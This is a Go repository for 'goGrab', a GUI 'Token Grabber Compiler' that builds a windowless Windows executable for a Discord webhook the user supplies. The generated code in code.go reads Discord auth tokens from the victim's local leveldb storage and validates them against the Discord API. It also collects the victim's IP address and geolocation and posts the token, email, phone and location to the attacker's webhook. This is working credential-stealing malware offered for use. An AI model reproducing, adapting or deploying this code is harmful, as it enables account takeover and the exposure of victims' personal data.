├── README.md ├── code.go ├── images.go ├── images └── goGrab.png └── main.go /README.md: -------------------------------------------------------------------------------- 1 | # goGrab 2 |

3 | 4 |

5 | 6 | # Installation 7 | **Recommended**: Download From [Releases](https://github.com/RustyBalboadev/goGrab/releases/tag/1.0) 8 | 9 | Installing From Source 10 | ``` 11 | git clone https://github.com/rustybalboadev/goGrab 12 | cd goGrab 13 | go build -ldflags -H=windowsgui 14 | ``` -------------------------------------------------------------------------------- /code.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/exec" 7 | "strconv" 8 | "strings" 9 | ) 10 | 11 | //Default Avatar 12 | var avatarURL string = "https://ewscripps.brightspotcdn.com/dims4/default/a19a88b/2147483647/strip/true/crop/494x278+0+36/resize/1280x720!/quality/90/?url=http%3A%2F%2Fewscripps-brightspot.s3.amazonaws.com%2F13%2F78%2F52d35c26458ea53423ece430bfbc%2Fbanana.jpg" 13 | 14 | //Default Embed Color 15 | var embedColor string = "39393" 16 | 17 | //Default Output Filename 18 | var outputName string = "Token_Grabber.exe" 19 | 20 | var userID string = "" 21 | 22 | var userRespStruct string = fmt.Sprintf(` 23 | //UserResponseData struct for Discord API Response 24 | type UserResponseData struct { 25 | ID string %s 26 | Username string %s 27 | Avatar string %s 28 | Discriminator string %s 29 | Flags int %s 30 | Email string %s 31 | MFAEnabled bool %s 32 | Phone string %s 33 | PremiumType int %s 34 | Token string %s 35 | Message string %s 36 | Code int %s 37 | NitroType string 38 | UserFlag string 39 | AvatarURL string 40 | IPData IPAddressResponseData 41 | } 42 | `, "`"+"json:"+`"`+"id"+`"`+"`", "`"+"json:"+`"`+"username"+`"`+"`", "`"+"json:"+`"`+"avatar"+`"`+"`", "`"+"json:"+`"`+"discriminator"+`"`+"`", "`"+"json:"+`"`+"flags"+`"`+"`", "`"+"json:"+`"`+"email"+`"`+"`", "`"+"json:"+`"`+"mfa_enabled"+`"`+"`", "`"+"json:"+`"`+"phone"+`"`+"`", "`"+"json:"+`"`+"premium_type"+`"`+"`", "`"+"json:"+`"`+"token"+`"`+"`", "`"+"json:"+`"`+"message"+`"`+"`", "`"+"json:"+`"`+"code"+`"`+"`") 43 | 44 | var ipRespStruct string = fmt.Sprintf(` 45 | //IPAddressResponseData struct for IP API Response 46 | type IPAddressResponseData struct { 47 | IP string %s 48 | Country string %s 49 | RegionName string %s 50 | ZipCode string %s 51 | City string %s 52 | Latitude float64 %s 53 | Longitude float64 %s 54 | } 55 | `, "`"+"json:"+`"`+"ip"+`"`+"`", "`"+"json:"+`"`+"country"+`"`+"`", "`"+"json:"+`"`+"region_name"+`"`+"`", "`"+"json:"+`"`+"zip_code"+`"`+"`", "`"+"json:"+`"`+"city"+`"`+"`", "`"+"json:"+`"`+"latitude"+`"`+"`", "`"+"json:"+`"`+"longitude"+`"`+"`") 56 | 57 | //Convert Hexadecimal Color Value to Decimal for Discord Embed 58 | func hexToDecimal(hex string) string { 59 | val := hex[2:] 60 | 61 | n, err := strconv.ParseUint(val, 16, 32) 62 | decimalString := strconv.FormatUint(n, 10) 63 | if err != nil { 64 | fmt.Println(err) 65 | } 66 | return string(decimalString) 67 | } 68 | 69 | func generateCode(url string, avatar string, color string, filename string, discordID string) { 70 | if avatar != "" { 71 | avatarURL = avatar 72 | } 73 | if color != "" { 74 | if string(color[0]) == "#" { 75 | color = strings.ReplaceAll(color, "#", "") 76 | color = "0x" + color 77 | } else { 78 | color = "0x" + color 79 | } 80 | embedColor = hexToDecimal(color) 81 | } 82 | if filename != "" { 83 | if string(filename[len(filename)-4:]) != ".exe" { 84 | outputName = filename + ".exe" 85 | } else { 86 | outputName = filename 87 | } 88 | } 89 | if discordID != "" { 90 | userID = "<@" + discordID + ">" 91 | } 92 | code := ` 93 | package main 94 | 95 | import ( 96 | "bytes" 97 | "encoding/json" 98 | "fmt" 99 | "io/ioutil" 100 | "math" 101 | "net/http" 102 | "os" 103 | "regexp" 104 | "time" 105 | ) 106 | ` + userRespStruct + ` 107 | 108 | ` + ipRespStruct + ` 109 | var ( 110 | webhookURL string = "` + url + `" 111 | webhookAvatar string = "` + avatarURL + `" 112 | flags = []int{0, 1, 2, 3, 6, 7, 8, 9, 10, 12, 14, 16, 17} 113 | client *http.Client = &http.Client{} 114 | discordResponse UserResponseData 115 | ipAddressResponse IPAddressResponseData 116 | 117 | flagDict = map[int]string{ 118 | 0: "None", 119 | 1: "Partnered Server Owner", 120 | 2: "HypeSquad Events", 121 | 3: "Bug Hunter Level 1", 122 | 6: "House Bravery", 123 | 7: "House Brilliance", 124 | 8: "House Balance", 125 | 9: "Early Supporter", 126 | 10: "Team User", 127 | 12: "System", 128 | 14: "Bug Hunter Level 2", 129 | 16: "Verified Bot", 130 | 17: "Early Verified Bot Developer", 131 | } 132 | ) 133 | 134 | func grabToken() []string { 135 | var tokens []string 136 | home := os.Getenv("HOMEDRIVE") + os.Getenv("HOMEPATH") 137 | if home == "" { 138 | home = os.Getenv("USERPROFILE") 139 | } 140 | files, err := ioutil.ReadDir(home + "\\AppData\\Roaming\\Discord\\Local Storage\\leveldb") 141 | if err != nil { 142 | fmt.Println(err) 143 | } 144 | for file := range files { 145 | var filename = files[file].Name() 146 | if filename != "LOCK" { 147 | r, err := regexp.Compile("[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}") 148 | if err != nil { 149 | fmt.Println(err) 150 | } 151 | 152 | f, err := ioutil.ReadFile(home + "\\AppData\\Roaming\\Discord\\Local Storage\\leveldb\\" + filename) 153 | if err != nil { 154 | fmt.Println(err) 155 | } 156 | if r.Match(f) { 157 | tokens = append(tokens, string(r.Find(f))) 158 | } 159 | } 160 | } 161 | return tokens 162 | } 163 | 164 | func (d UserResponseData) checkTokens(tokens []string) UserResponseData { 165 | for _, value := range tokens { 166 | req, err := http.NewRequest("GET", "https://discordapp.com/api/v6/users/@me", nil) 167 | if err != nil { 168 | fmt.Println(err) 169 | } 170 | req.Header.Add("authorization", value) 171 | 172 | res, err := client.Do(req) 173 | if err != nil { 174 | fmt.Println(err) 175 | } 176 | 177 | body, err := ioutil.ReadAll(res.Body) 178 | if err != nil { 179 | fmt.Println(err) 180 | } 181 | 182 | err = json.Unmarshal(body, &d) 183 | if err == nil { 184 | if d.Message == "" { 185 | d.Token = value 186 | nitro := d.PremiumType 187 | flag := d.Flags 188 | 189 | switch nitro { 190 | case 0: 191 | d.NitroType = "No Nitro" 192 | case 1: 193 | d.NitroType = "Nitro Classic" 194 | case 2: 195 | d.NitroType = "Nitro" 196 | } 197 | 198 | for i := range flagDict { 199 | if int(math.Pow(2, float64(i))) == flag { 200 | userFlag := flagDict[i] 201 | d.UserFlag = userFlag 202 | break 203 | } 204 | } 205 | userID := d.ID 206 | avatarHash := d.Avatar 207 | d.AvatarURL = "https://cdn.discordapp.com/avatars/" + userID + "/" + avatarHash + ".webp" 208 | 209 | d.IPData = d.grabIP() 210 | break 211 | } else { 212 | d = UserResponseData{} 213 | } 214 | } 215 | } 216 | return d 217 | } 218 | 219 | func (d UserResponseData) grabIP() IPAddressResponseData { 220 | req, err := http.NewRequest("GET", "https://ifconfig.co/json", nil) 221 | if err != nil { 222 | fmt.Println(err) 223 | } 224 | 225 | res, err := client.Do(req) 226 | if err != nil { 227 | fmt.Println(err) 228 | } 229 | 230 | body, err := ioutil.ReadAll(res.Body) 231 | if err != nil { 232 | fmt.Println(err) 233 | } 234 | 235 | err = json.Unmarshal(body, &d.IPData) 236 | if err != nil { 237 | fmt.Println(err) 238 | } 239 | return d.IPData 240 | } 241 | 242 | func sendEmbed(responseData UserResponseData) { 243 | username := responseData.Username 244 | disc := responseData.Discriminator 245 | avatarURL := responseData.AvatarURL 246 | token := responseData.Token 247 | email := responseData.Email 248 | phone := responseData.Phone 249 | nitro := responseData.NitroType 250 | mfa := responseData.MFAEnabled 251 | flag := responseData.UserFlag 252 | 253 | ip := responseData.IPData.IP 254 | country := responseData.IPData.Country 255 | region := responseData.IPData.RegionName 256 | zip := responseData.IPData.ZipCode 257 | city := responseData.IPData.City 258 | lat := responseData.IPData.Latitude 259 | lon := responseData.IPData.Longitude 260 | 261 | currentTime := time.Now().UTC().Format("2006-01-02T15:04:05Z") 262 | 263 | out := fmt.Sprintf(` + "`" + `{"content": "` + userID + `","embeds":[{"title":"New Pull %s#%s","description":"Discord User Information","color":` + embedColor + `,"fields":[{"name":"Token","value":"%s","inline":true},{"name":"Email","value":"%s","inline":true},{"name":"Phone","value":"%s","inline":true},{"name":"Nitro","value":"%s","inline":true},{"name":"MFA","value":"%t","inline":true},{"name":"User Flag","value":"%s","inline":true}],"author":{"name":"Created By RustyBalboadev","url":"https://github.com/rustybalboadev"},"footer":{"text":"Time of Pull"},"timestamp":"%s","thumbnail":{"url":"%s"}},{"title":"IP Information","description":"Discord User IP Information","color":` + embedColor + `,"fields":[{"name":"IP","value":"%s","inline":true},{"name":"Country","value":"%s","inline":true},{"name":"Region","value":"%s","inline":true},{"name":"Zip Code","value":"%s","inline":true},{"name":"City","value":"%s","inline":true},{"name":"(Lat, Long)","value":"%f, %f","inline":true}],"footer":{"text":"Time of Pull"},"timestamp":"%s","thumbnail":{"url":"%s"}}],"username":"Token Grabber","avatar_url":"%s"}` + "`" + `, username, disc, token, email, phone, nitro, mfa, flag, currentTime, avatarURL, ip, country, region, zip, city, lat, lon, currentTime, avatarURL, webhookAvatar) 264 | 265 | jsonStr := []byte(out) 266 | req, err := http.NewRequest("POST", webhookURL, bytes.NewBuffer(jsonStr)) 267 | req.Header.Set("Content-Type", "application/json") 268 | 269 | res, err := client.Do(req) 270 | if err != nil { 271 | fmt.Println(err) 272 | } 273 | defer res.Body.Close() 274 | } 275 | 276 | func main() { 277 | tokens := grabToken() 278 | obj := discordResponse.checkTokens(tokens) 279 | sendEmbed(obj) 280 | }` 281 | f, err := os.Create("main.go") 282 | if err != nil { 283 | fmt.Println(err) 284 | } 285 | _, err = f.Write([]byte(code)) 286 | if err != nil { 287 | fmt.Println(err) 288 | } 289 | for { 290 | _, err := os.Stat("main.go") 291 | if err == nil { 292 | break 293 | } 294 | } 295 | cmd := exec.Command("go", "build", "-ldflags", "-H=windowsgui", "-o", outputName, "main.go") 296 | cmd.Run() 297 | f.Close() 298 | 299 | err = os.Remove("main.go") 300 | if err != nil { 301 | fmt.Println(err) 302 | } 303 | } 304 | -------------------------------------------------------------------------------- /images.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fyne.io/fyne" 4 | 5 | var resourceWhitePng = &fyne.StaticResource{ 6 | StaticName: "white.png", 7 | StaticContent: []byte{ 8 | 137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82, 0, 0, 0, 10, 0, 0, 0, 10, 1, 0, 0, 0, 0, 165, 73, 242, 16, 0, 0, 0, 4, 103, 65, 77, 65, 0, 0, 177, 143, 11, 252, 97, 5, 0, 0, 0, 32, 99, 72, 82, 77, 0, 0, 122, 38, 0, 0, 128, 132, 0, 0, 250, 0, 0, 0, 128, 232, 0, 0, 117, 48, 0, 0, 234, 96, 0, 0, 58, 152, 0, 0, 23, 112, 156, 186, 81, 60, 0, 0, 0, 2, 98, 75, 71, 68, 0, 1, 221, 138, 19, 164, 0, 0, 0, 7, 116, 73, 77, 69, 7, 228, 10, 10, 22, 33, 8, 254, 227, 73, 226, 0, 0, 0, 14, 73, 68, 65, 84, 8, 215, 99, 248, 127, 128, 1, 55, 2, 0, 7, 82, 17, 119, 230, 200, 208, 227, 0, 0, 0, 37, 116, 69, 88, 116, 100, 97, 116, 101, 58, 99, 114, 101, 97, 116, 101, 0, 50, 48, 50, 48, 45, 49, 48, 45, 49, 48, 84, 50, 50, 58, 51, 51, 58, 48, 56, 45, 48, 52, 58, 48, 48, 119, 110, 0, 62, 0, 0, 0, 37, 116, 69, 88, 116, 100, 97, 116, 101, 58, 109, 111, 100, 105, 102, 121, 0, 50, 48, 50, 48, 45, 49, 48, 45, 49, 48, 84, 50, 50, 58, 51, 51, 58, 48, 56, 45, 48, 52, 58, 48, 48, 6, 51, 184, 130, 0, 0, 0, 0, 73, 69, 78, 68, 174, 66, 96, 130}} 9 | 10 | var resourceRedPng = &fyne.StaticResource{ 11 | StaticName: "red.png", 12 | StaticContent: []byte{ 13 | 137, 80, 78, 71, 13, 10, 26, 10, 0, 0, 0, 13, 73, 72, 68, 82, 0, 0, 0, 10, 0, 0, 0, 10, 8, 3, 0, 0, 0, 186, 236, 63, 143, 0, 0, 0, 4, 103, 65, 77, 65, 0, 0, 177, 143, 11, 252, 97, 5, 0, 0, 0, 32, 99, 72, 82, 77, 0, 0, 122, 38, 0, 0, 128, 132, 0, 0, 250, 0, 0, 0, 128, 232, 0, 0, 117, 48, 0, 0, 234, 96, 0, 0, 58, 152, 0, 0, 23, 112, 156, 186, 81, 60, 0, 0, 0, 99, 80, 76, 84, 69, 252, 12, 13, 252, 6, 8, 252, 6, 8, 252, 6, 8, 252, 7, 8, 252, 7, 9, 252, 7, 9, 252, 7, 9, 252, 11, 13, 252, 6, 8, 252, 2, 4, 252, 2, 4, 252, 2, 4, 252, 2, 4, 252, 2, 4, 252, 2, 4, 252, 1, 3, 252, 6, 8, 252, 6, 8, 252, 2, 4, 252, 2, 4, 252, 6, 8, 252, 6, 8, 252, 7, 8, 252, 7, 9, 252, 7, 9, 252, 7, 9, 252, 2, 4, 252, 6, 8, 252, 6, 8, 252, 6, 8, 252, 11, 12, 255, 255, 255, 59, 28, 11, 251, 0, 0, 0, 1, 98, 75, 71, 68, 32, 179, 107, 61, 128, 0, 0, 0, 7, 116, 73, 77, 69, 7, 228, 10, 10, 22, 24, 51, 65, 108, 45, 124, 0, 0, 0, 67, 73, 68, 65, 84, 8, 215, 61, 198, 55, 18, 128, 64, 12, 4, 176, 197, 164, 131, 189, 68, 206, 240, 255, 95, 50, 227, 194, 170, 4, 20, 34, 101, 85, 55, 173, 67, 215, 147, 62, 196, 148, 7, 140, 211, 172, 40, 88, 104, 93, 189, 117, 11, 214, 61, 90, 143, 100, 61, 51, 213, 117, 195, 61, 162, 222, 239, 7, 38, 36, 5, 175, 189, 75, 193, 87, 0, 0, 0, 37, 116, 69, 88, 116, 100, 97, 116, 101, 58, 99, 114, 101, 97, 116, 101, 0, 50, 48, 50, 48, 45, 49, 48, 45, 49, 48, 84, 50, 50, 58, 50, 52, 58, 53, 49, 45, 48, 52, 58, 48, 48, 137, 68, 143, 48, 0, 0, 0, 37, 116, 69, 88, 116, 100, 97, 116, 101, 58, 109, 111, 100, 105, 102, 121, 0, 50, 48, 50, 48, 45, 49, 48, 45, 49, 48, 84, 50, 50, 58, 50, 52, 58, 53, 49, 45, 48, 52, 58, 48, 48, 248, 25, 55, 140, 0, 0, 0, 0, 73, 69, 78, 68, 174, 66, 96, 130}} 14 | -------------------------------------------------------------------------------- /images/goGrab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rustybalboadev/goGrab/a8a01d3678656ce6bdf12ae6d47983f5c8b1e5fa/images/goGrab.png -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "image/color" 6 | "net/url" 7 | 8 | "fyne.io/fyne" 9 | 10 | "fyne.io/fyne/app" 11 | "fyne.io/fyne/canvas" 12 | "fyne.io/fyne/layout" 13 | "fyne.io/fyne/theme" 14 | "fyne.io/fyne/widget" 15 | ) 16 | 17 | func main() { 18 | a := app.New() 19 | win := a.NewWindow("Token Grabber Compiler") 20 | win.Resize(fyne.NewSize(500, 400)) 21 | win.CenterOnScreen() 22 | 23 | toolbar := widget.NewToolbar( 24 | widget.NewToolbarAction(theme.HelpIcon(), func() { 25 | go showHelpPage(a) 26 | }), 27 | ) 28 | 29 | webhookEntryLabel := canvas.NewText("Webhook URL:", color.RGBA{239, 76, 63, 100}) 30 | webhookEntryLabel.Alignment = fyne.TextAlignCenter 31 | webhookEntryLabel.TextStyle.Bold = true 32 | 33 | webhookEntry := widget.NewEntry() 34 | webhookEntry.SetPlaceHolder("Webhook URL") 35 | 36 | webhookScrollBar := widget.NewHScrollContainer(webhookEntry) 37 | 38 | webhookAvatarLabel := canvas.NewText("Webhook Avatar Photo:", color.White) 39 | webhookAvatarLabel.Alignment = fyne.TextAlignCenter 40 | webhookAvatarLabel.TextStyle.Bold = true 41 | 42 | webhookAvatarEntry := widget.NewEntry() 43 | webhookAvatarEntry.SetPlaceHolder("Webhook Avatar URL") 44 | 45 | webhookAvatarScrollBar := widget.NewHScrollContainer(webhookAvatarEntry) 46 | 47 | embedEntryLabel := canvas.NewText("Embed Color HEX:", color.White) 48 | embedEntryLabel.Alignment = fyne.TextAlignCenter 49 | embedEntryLabel.TextStyle.Bold = true 50 | 51 | embedColorEntry := widget.NewEntry() 52 | embedColorEntry.SetPlaceHolder("#0099e1") 53 | 54 | fileNameLabel := canvas.NewText("EXE Output Name:", color.White) 55 | fileNameLabel.Alignment = fyne.TextAlignCenter 56 | fileNameLabel.TextStyle.Bold = true 57 | 58 | fileNameEntry := widget.NewEntry() 59 | fileNameEntry.SetPlaceHolder("grabber.exe") 60 | 61 | pingLabel := canvas.NewText("Input Your Discord ID", color.White) 62 | pingLabel.Alignment = fyne.TextAlignCenter 63 | pingLabel.TextStyle.Bold = true 64 | pingLabel.Hide() 65 | 66 | discordIDEntry := widget.NewEntry() 67 | discordIDEntry.SetPlaceHolder("753296054480273568") 68 | discordIDEntry.Hide() 69 | ping := fyne.NewContainerWithLayout(layout.NewHBoxLayout(), widget.NewCheck("Ping On New Pull?", func(checked bool) { 70 | if checked { 71 | pingLabel.Show() 72 | discordIDEntry.Show() 73 | } else { 74 | pingLabel.Hide() 75 | discordIDEntry.Hide() 76 | } 77 | }), discordIDEntry) 78 | ping = fyne.NewContainerWithLayout(layout.NewCenterLayout(), ping) 79 | 80 | infoLabel := widget.NewLabel("") 81 | infoLabel.Hide() 82 | 83 | errorLabel := canvas.NewText("You Cannot Leave Webhook URL Empty!", color.RGBA{239, 76, 63, 100}) 84 | errorLabel.TextStyle.Bold = true 85 | errorLabel.Hide() 86 | 87 | entryLayout := fyne.NewContainerWithLayout(layout.NewVBoxLayout(), webhookEntryLabel, webhookScrollBar, webhookAvatarLabel, webhookAvatarScrollBar, embedEntryLabel, embedColorEntry, fileNameLabel, fileNameEntry, pingLabel, ping) 88 | 89 | informationLabels := fyne.NewContainerWithLayout(layout.NewCenterLayout(), infoLabel, errorLabel) 90 | 91 | compileButton := widget.NewButton("Compile", func() { 92 | if webhookEntry.Text == "" { 93 | errorLabel.Show() 94 | } else { 95 | errorLabel.Hide() 96 | generateCode(webhookEntry.Text, webhookAvatarEntry.Text, embedColorEntry.Text, fileNameEntry.Text, discordIDEntry.Text) 97 | infoLabel.SetText("Program Has Been Compiled With Your Webhook!") 98 | infoLabel.Show() 99 | } 100 | }) 101 | 102 | quitButton := widget.NewButton("Quit", func() { 103 | a.Quit() 104 | }) 105 | 106 | buttons := fyne.NewContainerWithLayout(layout.NewHBoxLayout(), layout.NewSpacer(), compileButton, quitButton, layout.NewSpacer()) 107 | 108 | redImg := &canvas.Image{ 109 | Resource: resourceRedPng, 110 | FillMode: canvas.ImageFillOriginal, 111 | } 112 | redLabel := canvas.NewText("Red Text = Required", color.White) 113 | redLabel.Alignment = fyne.TextAlignLeading 114 | 115 | red := fyne.NewContainerWithLayout(layout.NewHBoxLayout(), redImg, redLabel) 116 | red = fyne.NewContainerWithLayout(layout.NewCenterLayout(), red) 117 | 118 | whiteImg := &canvas.Image{ 119 | Resource: resourceWhitePng, 120 | FillMode: canvas.ImageFillOriginal, 121 | } 122 | whiteLabel := canvas.NewText("White Text = Optional", color.White) 123 | whiteLabel.Alignment = fyne.TextAlignLeading 124 | 125 | white := fyne.NewContainerWithLayout(layout.NewHBoxLayout(), whiteImg, whiteLabel) 126 | white = fyne.NewContainerWithLayout(layout.NewCenterLayout(), white) 127 | 128 | helpLayout := fyne.NewContainerWithLayout(layout.NewVBoxLayout(), red, white) 129 | 130 | win.SetContent(fyne.NewContainerWithLayout(layout.NewVBoxLayout(), toolbar, entryLayout, informationLabels, buttons, helpLayout)) 131 | win.ShowAndRun() 132 | } 133 | 134 | func parseURL(urlStr string) *url.URL { 135 | u, err := url.Parse(urlStr) 136 | if err != nil { 137 | fmt.Println(err) 138 | } 139 | return u 140 | } 141 | 142 | func showHelpPage(a fyne.App) { 143 | win := a.NewWindow("About Page") 144 | win.Resize(fyne.NewSize(250, 200)) 145 | win.CenterOnScreen() 146 | titleLabel := widget.NewLabelWithStyle("Social Medias", fyne.TextAlignCenter, fyne.TextStyle{Bold: true}) 147 | githubLink := widget.NewHyperlinkWithStyle("Github Link", parseURL("https://github.com/rustybalboadev"), fyne.TextAlignCenter, fyne.TextStyle{}) 148 | twitterLink := widget.NewHyperlinkWithStyle("Twitter Link", parseURL("https://twitter.com/rustybalboadev"), fyne.TextAlignCenter, fyne.TextStyle{}) 149 | rustyWeb := widget.NewHyperlinkWithStyle("rustybalboa.dev", parseURL("https://rustybalboa.dev"), fyne.TextAlignCenter, fyne.TextStyle{}) 150 | yoinkWeb := widget.NewHyperlinkWithStyle("yoink.rip", parseURL("https://yoink.rip"), fyne.TextAlignCenter, fyne.TextStyle{}) 151 | discordLabel := widget.NewLabelWithStyle("Rusty_Balboa#6660", fyne.TextAlignCenter, fyne.TextStyle{}) 152 | socials := fyne.NewContainerWithLayout(layout.NewVBoxLayout(), titleLabel, githubLink, twitterLink, rustyWeb, yoinkWeb, discordLabel) 153 | 154 | centerContainer := fyne.NewContainerWithLayout(layout.NewCenterLayout(), socials) 155 | win.SetContent(centerContainer) 156 | win.Show() 157 | } 158 | --------------------------------------------------------------------------------